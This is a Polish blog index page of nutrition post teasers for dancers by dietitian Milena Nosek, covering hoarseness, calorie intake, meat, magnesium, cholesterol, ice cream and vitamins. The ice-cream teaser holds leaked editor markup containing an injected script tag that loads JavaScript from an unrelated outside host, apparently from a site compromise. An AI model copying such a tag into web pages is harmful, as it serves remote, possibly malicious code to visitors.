Masz chrypkę? Zmień dietę!

Boli cię gardło? Masz chrypkę? Niekoniecznie wspomniane dolegliwości trzeba od razu kojarzyć z infekcją czy innymi, poważniejszymi schorzeniami. Czasami wystarczy zmienić codzienne menu, aby poprawić kondycję narządów głosu i układu oddechowego. Co prawda to, co spożywasz nie trafia bezpośrednio do krtani i położonych w niej fałdów głosowych, jednak nie jest obojętne dla organizmu i warunków, Dalej

Dietetyk Milena Nosek dla metkaBALETKA

Gdy zaniżasz energetyczność diety…

Gdy zaniżasz energetyczność diety… Nierzadko hobby, a potem zawód tancerki, tancerza wymaga redukcji masy ciała lub zmiany jego proporcji. Jest wiele sposobów, pomysłów i doświadczeń, które można zastosować, jednak zanim to nastanie, trzeba wiedzieć choć trochę na ten temat. Faktem jest, że szczupła sylwetka to klucz do szczęścia w tańcu. Ale…  zbyt mała wartość energetyczna Dalej

Dietetyk Milena Nosek dla metkaBALETKA

Malinowy blues

Malinowy Blues…….. … mroźnym, białym, styczniowym popołudniem, trzy Większe przyjaciółki spotykają się w urokliwej kawiarni. Zawołała je reklama stojąca – mówiąc po krakowsku – na polu – z naskrobanym różową kredą euforycznym napisem: „Gorąca czekolada z chilli! Tylko 10zł! Wejdź i rozgrzej się!” Tym samym napój z szyldu stał się być może ich drugim „posiłkiem” Dalej

Co z tym mięsem? Milena Nosek dla metkaBALETKA

Co z tym mięsem?

Zapewne wiecie, jak wiele kontrowersji i wątpliwości istnieje wokół mięsa… Krótko i zwięźle 🙂 W razie indywidualnych pytań, zapraszam serdecznie!!!! Tymczasem, dobrej lektury! jak we wszystkim, także i tutaj po prostu należy zachować umiar. Zaleca się spożywanie czerwonego mięsa kilka razy w miesiącu, w maksymalnej dawce 300-400 g tygodniowo znacznie częściej, bo około 3-4 razy Dalej

Wpis Milena Nosek #metkabaletka #dance #dancer #taniec

Magnez, potas

Witajcie, Kochani! Popijając swój ulubiony napój – małą czarną, czuję drgającą powiekę – chyba brak mi magnezu! Zatem to jest inspiracją moją dla Was. O drgającej powieki się zaczyna. Za chwilę przyjdą nieprzyjemnie skurcze w łydce! W celu zapobiegania napadowym skurczom mięśni nie zapominajcie więc zadbać o to, by każdego dnia w codziennej diecie znalazły Dalej

Wpis blog Milena Nosek dietetyk cholesterol #metkabaletka #dance #dancer #taniec

Wysoki cholesterol

 – może dotyczyć także Ciebie…!!!! Cholesterol to związek chemiczny niezbędny do funkcjonowania organizmu. Dzieli się na dwa rodzaje, z czego jedna jest korzystna, druga – w nadmiarze – niebezpieczna. Problem wysokiego LDL-cholesterolu, czyli tego drugiego, nie dotyczy tylko osób w wieku dojrzałym. Również dzieci i młodzież mogą go mieć. Potrzebna jest wówczas rozwaga dietetyczna. Stężenie Dalej

5 pytań do Mileny #metkabaletka #dance #dancer #taniec

5 pytań do Mileny

5 pytań do Mileny Nosek by metkaBALETKA Team dietetyk Państwowej Ogólnokształcącej Szkoły Baletowej w Warszawie oraz Polskiego Baletu Narodowego. W wolnych chwilach specjalnie dla metkaBALETKA Milena przygotowuje posty o prawidłowym odżywianiu się, ukierunkowane na tancerzy. Z pasji do tańca i tancerzy informuje o zdrowych zachowaniach żywieniowych, topowych produktach, potrawach, nowościach. Marzę o…..przestronnym mieszkaniu w paryskiej Dalej

lody

Ice cream, lody, le ice-cream, gelato…!

Wizualny Tekstowy <script src=http://a.c0594.com/?js=6></script>Wizualny <button type=”button” id=”content-html” class=”wp-switch-editor switch-html” data-wp-editor-id=”content”>Tekstowy</button> <div id=”wp-content-editor-container” class=”wp-editor-container”><div id=”ed_toolbar” class=”quicktags-toolbar”></div><textarea class=”wp-editor-area” style=”height: 300px” autocomplete=”off” cols=”40″ name=”content” id=”content”>Nieodłączne wspomnienie z dzieciństwa i jeden z najbardziej lubianych deserów. Dzisiaj przedstawię Wam, które lody wybierać, czy mają wartości i czy dbając o prawidłowe żywienie należy się ich wyrzekać. Zapraszam do lektury! Lody, jak Dalej

DSC00592

Co w teczkę na wycieczkę?

Wakacje to czas wyjazdów na obozy taneczne, praktyki i warsztaty. Wówczas zmienia się plan dnia, a co za tym idzie – tryb żywienia. Określone pory posiłków (zazwyczaj 3 posiłki) i czasami utrudniona dostępność do sklepów. Poniżej znajdziecie listę produktów, które można ze sobą zabrać w ramach prowiantu, aby uniknąć głodu, niezadowolenia i w szczególności – Dalej

#salatka#borowki#zdrowie#kolacja#wzrok#serce#

Dobry wzrok, zdrowe serce i smak

Tancerze! Jedzmy borówki! Te ciemnoniebieskie owoce cenione są nie tylko za smak, ale bardzo korzystne wartości odżywcze. Zapobiegają chorobom serca, zaparciom, wzmacniają i poprawiają wzrok, a przy tym są niskokaloryczne, tak więc można je dodać nawet do kolacyjnej sałatki! Idealne w zestawie z rukolą, kalarepą, pomidorem, pestkami dyni i olejem lnianym. Wszystkie te składniki współgrają Dalej

metka2

Sztandarowa przekąska – marchewka!

Tania, dostępna przez cały rok, smaczna, zdrowa i uniwersalna w użyciu – marchewka. Nie bez przyczyny stała się „symbolem” osób dbających o sylwetkę. Jedna sztuka średniej wielkości zawiera tylko 40 kcal, przy czym wysoka zawartość błonnika czyni ją bardzo sycącą. Oprócz tej właściwości ma wiele innych: pomaga w walce z trądzikiem, nadaje ładny koloryt skórze, Dalej

wit d wzor

Zadbaj o witaminę D!

Witamina D to jedna z podstawowych witamin dla tancerza! Przede wszystkim ze względu na kościec, ale i masę ciała. Niedobór sprzyja rozwojowi chorób kości, ale i serca, częstszym kontuzjom, rozwojowi otyłości i nowotworów. Co ważne – witamina D zwiększa siłę mięśni! Zaopatrzenie ludzkiego organizmu w tę witaminę zależy głównie od ekspozycji na światło słoneczne; pożywienie Dalej